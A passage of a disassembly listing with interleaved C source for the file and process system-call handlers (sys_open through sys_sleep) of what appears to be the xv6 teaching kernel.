$0x8,%esp 801052e5: 50 push %eax 801052e6: 6a 01 push $0x1 801052e8: e8 73 f7 ff ff call 80104a60 <argint> 801052ed: 83 c4 10 add $0x10,%esp 801052f0: 85 c0 test %eax,%eax 801052f2: 0f 88 04 01 00 00 js 801053fc <sys_open+0x13c> return -1; begin_op(); 801052f8: e8 a3 d8 ff ff call 80102ba0 <begin_op> if(omode & O_CREATE){ 801052fd: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80105301: 0f 85 a9 00 00 00 jne 801053b0 <sys_open+0xf0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80105307: 83 ec 0c sub $0xc,%esp 8010530a: ff 75 e0 pushl -0x20(%ebp) 8010530d: e8 ce cb ff ff call 80101ee0 <namei> 80105312: 83 c4 10 add $0x10,%esp 80105315: 85 c0 test %eax,%eax 80105317: 89 c6 mov %eax,%esi 80105319: 0f 84 b2 00 00 00 je 801053d1 <sys_open+0x111> end_op(); return -1; } ilock(ip); 8010531f: 83 ec 0c sub $0xc,%esp 80105322: 50 push %eax 80105323: e8 58 c3 ff ff call 80101680 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80105328: 83 c4 10 add $0x10,%esp 8010532b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80105330: 0f 84 aa 00 00 00 je 801053e0 <sys_open+0x120> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80105336: e8 45 ba ff ff call 80100d80 <filealloc> 8010533b: 85 c0 test %eax,%eax 8010533d: 89 c7 mov %eax,%edi 8010533f: 0f 84 a6 00 00 00 je 801053eb <sys_open+0x12b> struct proc *curproc = myproc(); 80105345: e8 b6 e4 ff ff call 80103800 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010534a: 31 db xor %ebx,%ebx 8010534c: eb 0e jmp 8010535c <sys_open+0x9c> 8010534e: 66 90 xchg %ax,%ax 80105350: 83 c3 01 add $0x1,%ebx 80105353: 83 fb 10 cmp $0x10,%ebx 80105356: 0f 84 ac 00 00 00 je 80105408 <sys_open+0x148> if(curproc->ofile[fd] == 0){ 8010535c: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80105360: 85 d2 test %edx,%edx 80105362: 75 ec jne 80105350 <sys_open+0x90> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105364: 83 ec 0c sub $0xc,%esp curproc->ofile[fd] = f; 80105367: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4) iunlock(ip); 8010536b: 56 push %esi 8010536c: e8 ef c3 ff ff call 80101760 <iunlock> end_op(); 80105371: e8 9a d8 ff ff call 80102c10 <end_op> f->type = FD_INODE; 80105376: c7 07 02 00 00 00 movl $0x2,(%edi) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 8010537c: 8b 55 e4 mov -0x1c(%ebp),%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 8010537f: 83 c4 10 add $0x10,%esp f->ip = ip; 80105382: 89 77 10 mov %esi,0x10(%edi) f->off = 0; 80105385: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) f->readable = !(omode & O_WRONLY); 8010538c: 89 d0 mov %edx,%eax 8010538e: f7 d0 not %eax 80105390: 83 e0 01 and $0x1,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105393: 83 e2 03 and $0x3,%edx f->readable = !(omode & O_WRONLY); 80105396: 88 47 08 mov %al,0x8(%edi) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105399: 0f 95 47 09 setne 0x9(%edi) return fd; } 8010539d: 8d 65 f4 lea -0xc(%ebp),%esp 801053a0: 89 d8 mov %ebx,%eax 801053a2: 5b pop %ebx 801053a3: 5e pop %esi 801053a4: 5f pop %edi 801053a5: 5d pop %ebp 801053a6: c3 ret 801053a7: 89 f6 mov %esi,%esi 801053a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip = create(path, T_FILE, 0, 0); 801053b0: 83 ec 0c sub $0xc,%esp 801053b3: 8b 45 e0 mov -0x20(%ebp),%eax 801053b6: 31 c9 xor %ecx,%ecx 801053b8: 6a 00 push $0x0 801053ba: ba 02 00 00 00 mov $0x2,%edx 801053bf: e8 ec f7 ff ff call 80104bb0 <create> if(ip == 0){ 801053c4: 83 c4 10 add $0x10,%esp 801053c7: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 801053c9: 89 c6 mov %eax,%esi if(ip == 0){ 801053cb: 0f 85 65 ff ff ff jne 80105336 <sys_open+0x76> end_op(); 801053d1: e8 3a d8 ff ff call 80102c10 <end_op> return -1; 801053d6: bb ff ff ff ff mov $0xffffffff,%ebx 801053db: eb c0 jmp 8010539d <sys_open+0xdd> 801053dd: 8d 76 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 801053e0: 8b 4d e4 mov -0x1c(%ebp),%ecx 801053e3: 85 c9 test %ecx,%ecx 801053e5: 0f 84 4b ff ff ff je 80105336 <sys_open+0x76> iunlockput(ip); 801053eb: 83 ec 0c sub $0xc,%esp 801053ee: 56 push %esi 801053ef: e8 1c c5 ff ff call 80101910 <iunlockput> end_op(); 801053f4: e8 17 d8 ff ff call 80102c10 <end_op> return -1; 801053f9: 83 c4 10 add $0x10,%esp 801053fc: bb ff ff ff ff mov $0xffffffff,%ebx 80105401: eb 9a jmp 8010539d <sys_open+0xdd> 80105403: 90 nop 80105404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi fileclose(f); 80105408: 83 ec 0c sub $0xc,%esp 8010540b: 57 push %edi 8010540c: e8 2f ba ff ff call 80100e40 <fileclose> 80105411: 83 c4 10 add $0x10,%esp 80105414: eb d5 jmp 801053eb <sys_open+0x12b> 80105416: 8d 76 00 lea 0x0(%esi),%esi 80105419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105420 <sys_mkdir>: int sys_mkdir(void) { 80105420: 55 push %ebp 80105421: 89 e5 mov %esp,%ebp 80105423: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 80105426: e8 75 d7 ff ff call 80102ba0 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 8010542b: 8d 45 f4 lea -0xc(%ebp),%eax 8010542e: 83 ec 08 sub $0x8,%esp 80105431: 50 push %eax 80105432: 6a 00 push $0x0 80105434: e8 d7 f6 ff ff call 80104b10 <argstr> 80105439: 83 c4 10 add $0x10,%esp 8010543c: 85 c0 test %eax,%eax 8010543e: 78 30 js 80105470 <sys_mkdir+0x50> 80105440: 83 ec 0c sub $0xc,%esp 80105443: 8b 45 f4 mov -0xc(%ebp),%eax 80105446: 31 c9 xor %ecx,%ecx 80105448: 6a 00 push $0x0 8010544a: ba 01 00 00 00 mov $0x1,%edx 8010544f: e8 5c f7 ff ff call 80104bb0 <create> 80105454: 83 c4 10 add $0x10,%esp 80105457: 85 c0 test %eax,%eax 80105459: 74 15 je 80105470 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 8010545b: 83 ec 0c sub $0xc,%esp 8010545e: 50 push %eax 8010545f: e8 ac c4 ff ff call 80101910 <iunlockput> end_op(); 80105464: e8 a7 d7 ff ff call 80102c10 <end_op> return 0; 80105469: 83 c4 10 add $0x10,%esp 8010546c: 31 c0 xor %eax,%eax } 8010546e: c9 leave 8010546f: c3 ret end_op(); 80105470: e8 9b d7 ff ff call 80102c10 <end_op> return -1; 80105475: b8 ff ff ff ff mov $0xffffffff,%eax } 8010547a: c9 leave 8010547b: c3 ret 8010547c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105480 <sys_mknod>: int sys_mknod(void) { 80105480: 55 push %ebp 80105481: 89 e5 mov %esp,%ebp 80105483: 83 ec 18 sub $0x18,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80105486: e8 15 d7 ff ff call 80102ba0 <begin_op> if((argstr(0, &path)) < 0 || 8010548b: 8d 45 ec lea -0x14(%ebp),%eax 8010548e: 83 ec 08 sub $0x8,%esp 80105491: 50 push %eax 80105492: 6a 00 push $0x0 80105494: e8 77 f6 ff ff call 80104b10 <argstr> 80105499: 83 c4 10 add $0x10,%esp 8010549c: 85 c0 test %eax,%eax 8010549e: 78 60 js 80105500 <sys_mknod+0x80> argint(1, &major) < 0 || 801054a0: 8d 45 f0 lea -0x10(%ebp),%eax 801054a3: 83 ec 08 sub $0x8,%esp 801054a6: 50 push %eax 801054a7: 6a 01 push $0x1 801054a9: e8 b2 f5 ff ff call 80104a60 <argint> if((argstr(0, &path)) < 0 || 801054ae: 83 c4 10 add $0x10,%esp 801054b1: 85 c0 test %eax,%eax 801054b3: 78 4b js 80105500 <sys_mknod+0x80> argint(2, &minor) < 0 || 801054b5: 8d 45 f4 lea -0xc(%ebp),%eax 801054b8: 83 ec 08 sub $0x8,%esp 801054bb: 50 push %eax 801054bc: 6a 02 push $0x2 801054be: e8 9d f5 ff ff call 80104a60 <argint> argint(1, &major) < 0 || 801054c3: 83 c4 10 add $0x10,%esp 801054c6: 85 c0 test %eax,%eax 801054c8: 78 36 js 80105500 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 801054ca: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 801054ce: 83 ec 0c sub $0xc,%esp (ip = create(path, T_DEV, major, minor)) == 0){ 801054d1: 0f bf 4d f0 movswl -0x10(%ebp),%ecx argint(2, &minor) < 0 || 801054d5: ba 03 00 00 00 mov $0x3,%edx 801054da: 50 push %eax 801054db: 8b 45 ec mov -0x14(%ebp),%eax 801054de: e8 cd f6 ff ff call 80104bb0 <create> 801054e3: 83 c4 10 add $0x10,%esp 801054e6: 85 c0 test %eax,%eax 801054e8: 74 16 je 80105500 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 801054ea: 83 ec 0c sub $0xc,%esp 801054ed: 50 push %eax 801054ee: e8 1d c4 ff ff call 80101910 <iunlockput> end_op(); 801054f3: e8 18 d7 ff ff call 80102c10 <end_op> return 0; 801054f8: 83 c4 10 add $0x10,%esp 801054fb: 31 c0 xor %eax,%eax } 801054fd: c9 leave 801054fe: c3 ret 801054ff: 90 nop end_op(); 80105500: e8 0b d7 ff ff call 80102c10 <end_op> return -1; 80105505: b8 ff ff ff ff mov $0xffffffff,%eax } 8010550a: c9 leave 8010550b: c3 ret 8010550c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105510 <sys_chdir>: int sys_chdir(void) { 80105510: 55 push %ebp 80105511: 89 e5 mov %esp,%ebp 80105513: 56 push %esi 80105514: 53 push %ebx 80105515: 83 ec 10 sub $0x10,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80105518: e8 e3 e2 ff ff call 80103800 <myproc> 8010551d: 89 c6 mov %eax,%esi begin_op(); 8010551f: e8 7c d6 ff ff call 80102ba0 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80105524: 8d 45 f4 lea -0xc(%ebp),%eax 80105527: 83 ec 08 sub $0x8,%esp 8010552a: 50 push %eax 8010552b: 6a 00 push $0x0 8010552d: e8 de f5 ff ff call 80104b10 <argstr> 80105532: 83 c4 10 add $0x10,%esp 80105535: 85 c0 test %eax,%eax 80105537: 78 77 js 801055b0 <sys_chdir+0xa0> 80105539: 83 ec 0c sub $0xc,%esp 8010553c: ff 75 f4 pushl -0xc(%ebp) 8010553f: e8 9c c9 ff ff call 80101ee0 <namei> 80105544: 83 c4 10 add $0x10,%esp 80105547: 85 c0 test %eax,%eax 80105549: 89 c3 mov %eax,%ebx 8010554b: 74 63 je 801055b0 <sys_chdir+0xa0> end_op(); return -1; } ilock(ip); 8010554d: 83 ec 0c sub $0xc,%esp 80105550: 50 push %eax 80105551: e8 2a c1 ff ff call 80101680 <ilock> if(ip->type != T_DIR){ 80105556: 83 c4 10 add $0x10,%esp 80105559: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 8010555e: 75 30 jne 80105590 <sys_chdir+0x80> iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105560: 83 ec 0c sub $0xc,%esp 80105563: 53 push %ebx 80105564: e8 f7 c1 ff ff call 80101760 <iunlock> iput(curproc->cwd); 80105569: 58 pop %eax 8010556a: ff 76 68 pushl 0x68(%esi) 8010556d: e8 3e c2 ff ff call 801017b0 <iput> end_op(); 80105572: e8 99 d6 ff ff call 80102c10 <end_op> curproc->cwd = ip; 80105577: 89 5e 68 mov %ebx,0x68(%esi) return 0; 8010557a: 83 c4 10 add $0x10,%esp 8010557d: 31 c0 xor %eax,%eax } 8010557f: 8d 65 f8 lea -0x8(%ebp),%esp 80105582: 5b pop %ebx 80105583: 5e pop %esi 80105584: 5d pop %ebp 80105585: c3 ret 80105586: 8d 76 00 lea 0x0(%esi),%esi 80105589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi iunlockput(ip); 80105590: 83 ec 0c sub $0xc,%esp 80105593: 53 push %ebx 80105594: e8 77 c3 ff ff call 80101910 <iunlockput> end_op(); 80105599: e8 72 d6 ff ff call 80102c10 <end_op> return -1; 8010559e: 83 c4 10 add $0x10,%esp 801055a1: b8 ff ff ff ff mov $0xffffffff,%eax 801055a6: eb d7 jmp 8010557f <sys_chdir+0x6f> 801055a8: 90 nop 801055a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 801055b0: e8 5b d6 ff ff call 80102c10 <end_op> return -1; 801055b5: b8 ff ff ff ff mov $0xffffffff,%eax 801055ba: eb c3 jmp 8010557f <sys_chdir+0x6f> 801055bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801055c0 <sys_exec>: int sys_exec(void) { 801055c0: 55 push %ebp 801055c1: 89 e5 mov %esp,%ebp 801055c3: 57 push %edi 801055c4: 56 push %esi 801055c5: 53 push %ebx char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 801055c6: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax { 801055cc: 81 ec a4 00 00 00 sub $0xa4,%esp if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 801055d2: 50 push %eax 801055d3: 6a 00 push $0x0 801055d5: e8 36 f5 ff ff call 80104b10 <argstr> 801055da: 83 c4 10 add $0x10,%esp 801055dd: 85 c0 test %eax,%eax 801055df: 0f 88 87 00 00 00 js 8010566c <sys_exec+0xac> 801055e5: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 801055eb: 83 ec 08 sub $0x8,%esp 801055ee: 50 push %eax 801055ef: 6a 01 push $0x1 801055f1: e8 6a f4 ff ff call 80104a60 <argint> 801055f6: 83 c4 10 add $0x10,%esp 801055f9: 85 c0 test %eax,%eax 801055fb: 78 6f js 8010566c <sys_exec+0xac> return -1; } memset(argv, 0, sizeof(argv)); 801055fd: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105603: 83 ec 04 sub $0x4,%esp for(i=0;; i++){ 80105606: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 80105608: 68 80 00 00 00 push $0x80 8010560d: 6a 00 push $0x0 8010560f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105615: 50 push %eax 80105616: e8 45 f1 ff ff call 80104760 <memset> 8010561b: 83 c4 10 add $0x10,%esp 8010561e: eb 2c jmp 8010564c <sys_exec+0x8c> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) return -1; if(uarg == 0){ 80105620: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 80105626: 85 c0 test %eax,%eax 80105628: 74 56 je 80105680 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 8010562a: 8d 8d 68 ff ff ff lea -0x98(%ebp),%ecx 80105630: 83 ec 08 sub $0x8,%esp 80105633: 8d 14 31 lea (%ecx,%esi,1),%edx 80105636: 52 push %edx 80105637: 50 push %eax 80105638: e8 b3 f3 ff ff call 801049f0 <fetchstr> 8010563d: 83 c4 10 add $0x10,%esp 80105640: 85 c0 test %eax,%eax 80105642: 78 28 js 8010566c <sys_exec+0xac> for(i=0;; i++){ 80105644: 83 c3 01 add $0x1,%ebx if(i >= NELEM(argv)) 80105647: 83 fb 20 cmp $0x20,%ebx 8010564a: 74 20 je 8010566c <sys_exec+0xac> if(fetchint(uargv+4*i, (int*)&uarg) < 0) 8010564c: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105652: 8d 34 9d 00 00 00 00 lea 0x0(,%ebx,4),%esi 80105659: 83 ec 08 sub $0x8,%esp 8010565c: 57 push %edi 8010565d: 01 f0 add %esi,%eax 8010565f: 50 push %eax 80105660: e8 4b f3 ff ff call 801049b0 <fetchint> 80105665: 83 c4 10 add $0x10,%esp 80105668: 85 c0 test %eax,%eax 8010566a: 79 b4 jns 80105620 <sys_exec+0x60> return -1; } return exec(path, argv); } 8010566c: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010566f: b8 ff ff ff ff mov $0xffffffff,%eax } 80105674: 5b pop %ebx 80105675: 5e pop %esi 80105676: 5f pop %edi 80105677: 5d pop %ebp 80105678: c3 ret 80105679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return exec(path, argv); 80105680: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105686: 83 ec 08 sub $0x8,%esp argv[i] = 0; 80105689: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105690: 00 00 00 00 return exec(path, argv); 80105694: 50 push %eax 80105695: ff b5 5c ff ff ff pushl -0xa4(%ebp) 8010569b: e8 70 b3 ff ff call 80100a10 <exec> 801056a0: 83 c4 10 add $0x10,%esp } 801056a3: 8d 65 f4 lea -0xc(%ebp),%esp 801056a6: 5b pop %ebx 801056a7: 5e pop %esi 801056a8: 5f pop %edi 801056a9: 5d pop %ebp 801056aa: c3 ret 801056ab: 90 nop 801056ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801056b0 <sys_pipe>: int sys_pipe(void) { 801056b0: 55 push %ebp 801056b1: 89 e5 mov %esp,%ebp 801056b3: 57 push %edi 801056b4: 56 push %esi 801056b5: 53 push %ebx int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 801056b6: 8d 45 dc lea -0x24(%ebp),%eax { 801056b9: 83 ec 20 sub $0x20,%esp if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 801056bc: 6a 08 push $0x8 801056be: 50 push %eax 801056bf: 6a 00 push $0x0 801056c1: e8 ea f3 ff ff call 80104ab0 <argptr> 801056c6: 83 c4 10 add $0x10,%esp 801056c9: 85 c0 test %eax,%eax 801056cb: 0f 88 ae 00 00 00 js 8010577f <sys_pipe+0xcf> return -1; if(pipealloc(&rf, &wf) < 0) 801056d1: 8d 45 e4 lea -0x1c(%ebp),%eax 801056d4: 83 ec 08 sub $0x8,%esp 801056d7: 50 push %eax 801056d8: 8d 45 e0 lea -0x20(%ebp),%eax 801056db: 50 push %eax 801056dc: e8 5f db ff ff call 80103240 <pipealloc> 801056e1: 83 c4 10 add $0x10,%esp 801056e4: 85 c0 test %eax,%eax 801056e6: 0f 88 93 00 00 00 js 8010577f <sys_pipe+0xcf> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801056ec: 8b 7d e0 mov -0x20(%ebp),%edi for(fd = 0; fd < NOFILE; fd++){ 801056ef: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 801056f1: e8 0a e1 ff ff call 80103800 <myproc> 801056f6: eb 10 jmp 80105708 <sys_pipe+0x58> 801056f8: 90 nop 801056f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(fd = 0; fd < NOFILE; fd++){ 80105700: 83 c3 01 add $0x1,%ebx 80105703: 83 fb 10 cmp $0x10,%ebx 80105706: 74 60 je 80105768 <sys_pipe+0xb8> if(curproc->ofile[fd] == 0){ 80105708: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi 8010570c: 85 f6 test %esi,%esi 8010570e: 75 f0 jne 80105700 <sys_pipe+0x50> curproc->ofile[fd] = f; 80105710: 8d 73 08 lea 0x8(%ebx),%esi 80105713: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80105717: 8b 7d e4 mov -0x1c(%ebp),%edi struct proc *curproc = myproc(); 8010571a: e8 e1 e0 ff ff call 80103800 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010571f: 31 d2 xor %edx,%edx 80105721: eb 0d jmp 80105730 <sys_pipe+0x80> 80105723: 90 nop 80105724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105728: 83 c2 01 add $0x1,%edx 8010572b: 83 fa 10 cmp $0x10,%edx 8010572e: 74 28 je 80105758 <sys_pipe+0xa8> if(curproc->ofile[fd] == 0){ 80105730: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 80105734: 85 c9 test %ecx,%ecx 80105736: 75 f0 jne 80105728 <sys_pipe+0x78> curproc->ofile[fd] = f; 80105738: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 8010573c: 8b 45 dc mov -0x24(%ebp),%eax 8010573f: 89 18 mov %ebx,(%eax) fd[1] = fd1; 80105741: 8b 45 dc mov -0x24(%ebp),%eax 80105744: 89 50 04 mov %edx,0x4(%eax) return 0; 80105747: 31 c0 xor %eax,%eax } 80105749: 8d 65 f4 lea -0xc(%ebp),%esp 8010574c: 5b pop %ebx 8010574d: 5e pop %esi 8010574e: 5f pop %edi 8010574f: 5d pop %ebp 80105750: c3 ret 80105751: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 80105758: e8 a3 e0 ff ff call 80103800 <myproc> 8010575d: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4) 80105764: 00 80105765: 8d 76 00 lea 0x0(%esi),%esi fileclose(rf); 80105768: 83 ec 0c sub $0xc,%esp 8010576b: ff 75 e0 pushl -0x20(%ebp) 8010576e: e8 cd b6 ff ff call 80100e40 <fileclose> fileclose(wf); 80105773: 58 pop %eax 80105774: ff 75 e4 pushl -0x1c(%ebp) 80105777: e8 c4 b6 ff ff call 80100e40 <fileclose> return -1; 8010577c: 83 c4 10 add $0x10,%esp 8010577f: b8 ff ff ff ff mov $0xffffffff,%eax 80105784: eb c3 jmp 80105749 <sys_pipe+0x99> 80105786: 66 90 xchg %ax,%ax 80105788: 66 90 xchg %ax,%ax 8010578a: 66 90 xchg %ax,%ax 8010578c: 66 90 xchg %ax,%ax 8010578e: 66 90 xchg %ax,%ax 80105790 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 80105790: 55 push %ebp 80105791: 89 e5 mov %esp,%ebp return fork(); } 80105793: 5d pop %ebp return fork(); 80105794: e9 07 e2 ff ff jmp 801039a0 <fork> 80105799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801057a0 <sys_exit>: int sys_exit(void) { 801057a0: 55 push %ebp 801057a1: 89 e5 mov %esp,%ebp 801057a3: 83 ec 08 sub $0x8,%esp exit(); 801057a6: e8 95 e6 ff ff call 80103e40 <exit> return 0; // not reached } 801057ab: 31 c0 xor %eax,%eax 801057ad: c9 leave 801057ae: c3 ret 801057af: 90 nop 801057b0 <sys_wait>: int sys_wait(void) { 801057b0: 55 push %ebp 801057b1: 89 e5 mov %esp,%ebp return wait(); } 801057b3: 5d pop %ebp return wait(); 801057b4: e9 c7 e8 ff ff jmp 80104080 <wait> 801057b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801057c0 <sys_kill>: int sys_kill(void) { 801057c0: 55 push %ebp 801057c1: 89 e5 mov %esp,%ebp 801057c3: 83 ec 20 sub $0x20,%esp int pid; if(argint(0, &pid) < 0) 801057c6: 8d 45 f4 lea -0xc(%ebp),%eax 801057c9: 50 push %eax 801057ca: 6a 00 push $0x0 801057cc: e8 8f f2 ff ff call 80104a60 <argint> 801057d1: 83 c4 10 add $0x10,%esp 801057d4: 85 c0 test %eax,%eax 801057d6: 78 18 js 801057f0 <sys_kill+0x30> return -1; return kill(pid); 801057d8: 83 ec 0c sub $0xc,%esp 801057db: ff 75 f4 pushl -0xc(%ebp) 801057de: e8 fd e9 ff ff call 801041e0 <kill> 801057e3: 83 c4 10 add $0x10,%esp } 801057e6: c9 leave 801057e7: c3 ret 801057e8: 90 nop 801057e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801057f0: b8 ff ff ff ff mov $0xffffffff,%eax } 801057f5: c9 leave 801057f6: c3 ret 801057f7: 89 f6 mov %esi,%esi 801057f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105800 <sys_getpid>: int sys_getpid(void) { 80105800: 55 push %ebp 80105801: 89 e5 mov %esp,%ebp 80105803: 83 ec 08 sub $0x8,%esp return myproc()->pid; 80105806: e8 f5 df ff ff call 80103800 <myproc> 8010580b: 8b 40 10 mov 0x10(%eax),%eax } 8010580e: c9 leave 8010580f: c3 ret 80105810 <sys_sbrk>: int sys_sbrk(void) { 80105810: 55 push %ebp 80105811: 89 e5 mov %esp,%ebp 80105813: 53 push %ebx int addr; int n; if(argint(0, &n) < 0) 80105814: 8d 45 f4 lea -0xc(%ebp),%eax { 80105817: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 8010581a: 50 push %eax 8010581b: 6a 00 push $0x0 8010581d: e8 3e f2 ff ff call 80104a60 <argint> 80105822: 83 c4 10 add $0x10,%esp 80105825: 85 c0 test %eax,%eax 80105827: 78 27 js 80105850 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 80105829: e8 d2 df ff ff call 80103800 <myproc> if(growproc(n) < 0) 8010582e: 83 ec 0c sub $0xc,%esp addr = myproc()->sz; 80105831: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 80105833: ff 75 f4 pushl -0xc(%ebp) 80105836: e8 e5 e0 ff ff call 80103920 <growproc> 8010583b: 83 c4 10 add $0x10,%esp 8010583e: 85 c0 test %eax,%eax 80105840: 78 0e js 80105850 <sys_sbrk+0x40> return -1; return addr; } 80105842: 89 d8 mov %ebx,%eax 80105844: 8b 5d fc mov -0x4(%ebp),%ebx 80105847: c9 leave 80105848: c3 ret 80105849: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105850: bb ff ff ff ff mov $0xffffffff,%ebx 80105855: eb eb jmp 80105842 <sys_sbrk+0x32> 80105857: 89 f6 mov %esi,%esi 80105859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105860 <sys_sleep>: int sys_sleep(void) { 80105860: 55 push %ebp 80105861: 89 e5 mov %esp,%ebp 80105863: 53 push %ebx int n; uint ticks0; if(argint(0, &n) < 0) 80105864: 8d 45 f4 lea -0xc(%ebp),%eax { 80105867: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 8010586a: 50 push %eax 8010586b: 6a 00 push $0x0 8010586d: e8 ee f1 ff ff call 80104a60 <argint> 80105872: 83 c4 10 add $0x10,%esp 80105875: 85 c0 test %eax,%eax 80105877: 0f 88 8a 00 00 00 js 80105907 <sys_sleep+0xa7> return -1; acquire(&tickslock); 8010587d: 83 ec 0c sub $0xc,%esp 80105880: 68 60 4f 11 80 push $0x80114f60 80105885: e8 c6 ed ff ff call 80104650 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010588a: 8b 55 f4 mov -0xc(%ebp),%edx 8010588d: 83 c4 10 add $0x10,%esp ticks0 = ticks; 80105890: 8b 1d a0 57 11 80 mov 0x801157a0,%ebx while(ticks - ticks0 < n){ 80105896: 85 d2 test %edx,%edx 80105898: 75 27 jne 801058c1 <sys_sleep+0x61> 8010589a: eb 54 jmp 801058f0 <sys_sleep+0x90> 8010589c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 801058a0: 83 ec 08 sub $0x8,%esp 801058a3: 68 60 4f 11 80 push $0x80114f60 801058a8: 68 a0 57 11 80 push $0x801157a0 801058ad: e8 0e e7 ff ff call 80103fc0 <sleep> while(ticks - ticks0 < n){ 801058b2: a1 a0 57 11 80 mov 0x801157a0,%eax 801058b7: 83 c4 10 add $0x10,%esp 801058ba: 29 d8 sub %ebx,%eax 801058bc: 3b 45 f4 cmp -0xc(%ebp),%eax 801058bf: 73 2f jae 801058f0 <sys_sleep+0x90> if(myproc()->killed){ 801058c1: e8 3a df ff ff call 80103800 <myproc> 801058c6: 8b 40 24 mov 0x24(%eax),%eax 801058c9: 85 c0 test %eax,%eax 801058cb: 74 d3 je 801058a0 <sys_sleep+0x40> release(&tickslock); 801058cd: 83 ec 0c sub $0xc,%esp 801058d0: 68 60 4f 11 80 push $0x80114f60 801058d5: e8 36 ee ff ff call 80104710 <release> return -1; 801058da: 83 c4 10 add $0x10,%esp 801058dd: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 801058e2: 8b 5d fc mov -0x4(%ebp),%ebx 801058e5: c9 leave 801058e6: c3 ret 801058e7: 89 f6 mov %esi,%esi 801058e9: 8d bc 27 00 00 00 00 lea 